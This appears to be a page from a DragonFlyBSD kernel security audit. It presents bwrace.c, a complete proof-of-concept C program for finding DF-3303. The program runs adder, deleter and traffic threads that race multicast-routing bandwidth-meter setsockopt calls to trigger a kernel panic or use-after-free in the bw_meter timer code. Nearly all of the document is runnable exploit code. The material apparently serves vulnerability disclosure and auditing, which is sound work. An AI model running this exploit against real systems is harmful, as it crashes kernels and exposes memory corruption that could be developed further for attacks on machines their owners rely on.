⬢ DragonFlyBSD Kernel Audit
DF-3303 / bwrace.c
← back to finding ↓ download raw
/*
 * DF-3303 PoC: del_bw_upcall(DELETE_ALL) / del_mfc call free_bw_list()
 * AFTER releasing mroute_token. free_bw_list() -> unschedule_bw_meter()
 * walks and mutates the global bw_meter_timers[] hash WITHOUT the token,
 * racing bw_meter_process() (1 Hz callout, token held) which disconnects
 * whole buckets (tmp_list = bw_meter_timers[i]; bw_meter_timers[i] = NULL)
 * and relinks entries. Result: either
 *   panic("unschedule_bw_meter: bw_meter entry not found")
 * or a use-after-free when bw_meter_process() reschedules a bw_meter that
 * free_bw_list() just kfree()d.
 *
 * Strategy: 4 adder threads install unique LEQ/UNIT_BYTES meters at max
 * rate (unique bu_threshold.b_bytes, else add_bw_upcall() dedupes); 4
 * deleter threads issue MRT_DEL_BW_UPCALL(DELETE_ALL) every 10 ms. The
 * live meter population self-stabilizes at (add rate x 10 ms), so each
 * delete's unlocked free-walk is in flight a sizable fraction of the
 * time; whenever the 1 Hz tick disconnects the 3 s-old bucket during a
 * free-walk, the free walk unschedules an entry that is in no bucket ->
 * panic. A traffic thread keeps bm_measured above the (tiny) thresholds
 * so the tick walk fires no upcalls and stays fast.
 *
 * build: cc -O2 -Wall -pthread -o bwrace bwrace.c
 * run:   ./bwrace [seconds]
 */
#include <sys/param.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

#include "ip_mroute_common.h"

#define RUN_SECS	240

static struct in_addr g_src, g_grp;
static volatile uint32_t uniq;
static volatile int stop_now;
static int g_raw;

static uint16_t
cksum(const struct ip *ip)
{
	const uint16_t *w = (const uint16_t *)ip;
	uint32_t sum = 0;
	int i;

	for (i = 0; i < 10; i++)
		sum += w[i];
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (~sum & 0xffff);
}

static void
send_traffic(int n)
{
	struct sockaddr_in dst;
	char pkt[128];
	struct ip *ip = (struct ip *)pkt;
	int i;

	memset(pkt, 0, sizeof(pkt));
	ip->ip_hl = 5;
	ip->ip_v = IPVERSION;
	ip->ip_len = htons(sizeof(pkt));
	ip->ip_ttl = 5;
	ip->ip_p = IPPROTO_UDP;
	ip->ip_src = g_src;
	ip->ip_dst = g_grp;

	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_len = sizeof(dst);
	dst.sin_addr = g_grp;

	for (i = 0; i < n; i++) {
		ip->ip_id = htons(i + 1);
		ip->ip_sum = 0;
		ip->ip_sum = cksum(ip);
		if (sendto(g_raw, pkt, sizeof(pkt), 0,
			   (struct sockaddr *)&dst, sizeof(dst)) < 0)
			return;
	}
}

static void *
adder(void *arg)
{
	int fd = *(int *)arg;
	struct bw_upcall u;

	while (!stop_now) {
		memset(&u, 0, sizeof(u));
		u.bu_src = g_src;
		u.bu_dst = g_grp;
		u.bu_flags = BW_UPCALL_UNIT_BYTES | BW_UPCALL_LEQ;
		u.bu_threshold.b_time.tv_sec = 3;
		u.bu_threshold.b_packets = 0;
		u.bu_threshold.b_bytes = 1 + (++uniq % 256);
		if (setsockopt(fd, IPPROTO_IP, MRT_ADD_BW_UPCALL,
			       &u, sizeof(u)) < 0) {
			if (errno != EADDRNOTAVAIL)
				perror("ADD_BW_UPCALL");
			usleep(500);
		}
	}
	return NULL;
}

static void *
deleter(void *arg)
{
	int fd = *(int *)arg;
	struct bw_upcall u;

	memset(&u, 0, sizeof(u));
	u.bu_src = g_src;
	u.bu_dst = g_grp;
	u.bu_flags = BW_UPCALL_DELETE_ALL;

	while (!stop_now) {
		setsockopt(fd, IPPROTO_IP, MRT_DEL_BW_UPCALL, &u, sizeof(u));
		usleep(10000);
	}
	return NULL;
}

static void *
trafficker(void *arg)
{
	(void)arg;
	while (!stop_now) {
		send_traffic(64);	/* 8 KB measured >> 256 max thresh */
		usleep(250000);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	struct mfcctl2 mfc;
	struct vifctl vc;
	uint32_t api;
	int fd, rc, secs = RUN_SECS, i, one = 1;
	pthread_t th[9];
	int nth = 0;

	if (argc > 1)
		secs = atoi(argv[1]);

	fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
	if (fd < 0) { perror("raw igmp socket (must run as root)"); exit(1); }

	rc = mrt_init(fd);
	if (rc < 0) { perror("MRT_INIT"); exit(1); }

	api = MRT_MFC_BW_UPCALL;
	rc = setsockopt(fd, IPPROTO_IP, MRT_API_CONFIG, &api, sizeof(api));
	printf("MRT_API_CONFIG(BW_UPCALL) rc=%d api=0x%x\n", rc, api);
	if (rc < 0) { perror("MRT_API_CONFIG"); exit(1); }

	g_src.s_addr = inet_addr("1.2.3.4");
	g_grp.s_addr = inet_addr("224.200.0.7");

	memset(&vc, 0, sizeof(vc));
	vc.vifc_vifi = 0;
	vc.vifc_flags = 0;
	vc.vifc_threshold = 0;
	vc.vifc_rate_limit = 0;
	vc.vifc_lcl_addr.s_addr = inet_addr("10.0.2.15");
	vc.vifc_rmt_addr.s_addr = inet_addr("255.255.255.0");
	rc = setsockopt(fd, IPPROTO_IP, MRT_ADD_VIF, &vc, sizeof(vc));
	printf("MRT_ADD_VIF rc=%d\n", rc);
	if (rc < 0) { perror("MRT_ADD_VIF"); exit(1); }

	memset(&mfc, 0, sizeof(mfc));
	mfc.mfcc_origin = g_src;
	mfc.mfcc_mcastgrp = g_grp;
	mfc.mfcc_parent = 0;
	rc = setsockopt(fd, IPPROTO_IP, MRT_ADD_MFC, &mfc, sizeof(mfc));
	printf("MRT_ADD_MFC rc=%d\n", rc);
	if (rc < 0) { perror("MRT_ADD_MFC"); exit(1); }

	g_raw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (g_raw < 0) { perror("raw socket"); exit(1); }
	setsockopt(g_raw, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
	one = 5;
	setsockopt(g_raw, IPPROTO_IP, IP_MULTICAST_TTL, &one, sizeof(one));
	one = 0;
	setsockopt(g_raw, IPPROTO_IP, IP_MULTICAST_LOOP, &one, sizeof(one));

	for (i = 0; i < 4; i++)
		pthread_create(&th[nth++], NULL, adder, &fd);
	for (i = 0; i < 4; i++)
		pthread_create(&th[nth++], NULL, deleter, &fd);
	pthread_create(&th[nth++], NULL, trafficker, NULL);

	printf("racing adders(4) vs delers(4x10ms) for %d seconds...\n", secs);
	fflush(stdout);
	sleep(secs);
	stop_now = 1;
	for (i = 0; i < nth; i++)
		pthread_join(th[i], NULL);
	printf("no panic in %d seconds\n", secs);
	return 0;
}